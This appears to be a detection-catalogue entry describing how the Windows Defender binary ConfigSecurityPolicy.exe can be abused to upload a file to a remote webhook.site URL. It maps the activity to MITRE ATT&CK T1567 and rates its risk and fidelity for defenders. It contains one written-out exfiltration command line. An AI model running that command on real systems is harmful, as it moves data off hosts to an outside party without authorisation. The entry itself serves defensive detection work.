MalCommands — ConfigSecurityPolicy

#					tactics	techniques	os

detail

Command Line

ConfigSecurityPolicy.exe C:\\Windows\\System32\\calc.exe https://webhook.site/xxxxxxxxx?encodedfile

Description

Abuse ConfigSecurityPolicy.exe to upload calc.exe to an arbitrary remote location.

Risk

High

Risk Reason

This is an extremely suspicious command and should raise immediate red flags.

Fidelity

High

Fidelity Reason

This type of commandline activity is typically extremely rare in most organizations.

Operating Systems

Windows

Killchain Phases

Actions on Objectives

References

https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/

TOOL DATA

Tool Name: configsecuritypolicy

Tool URL: N/A

Tool Description: Part of Microsoft Windows Defender, typically used to manage settings and configure collections in a granular way between different workloads.

Common Tool Locations

C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\ConfigSecurityPolicy.exe

Common Tool Arguments

MITRE ATT&CK TECHNIQUES

Technique: T1567 - Exfiltration Over Web Service

URL: https://attack.mitre.org/techniques/T1567

Description: Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services. Web service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Tactics:

Exfiltration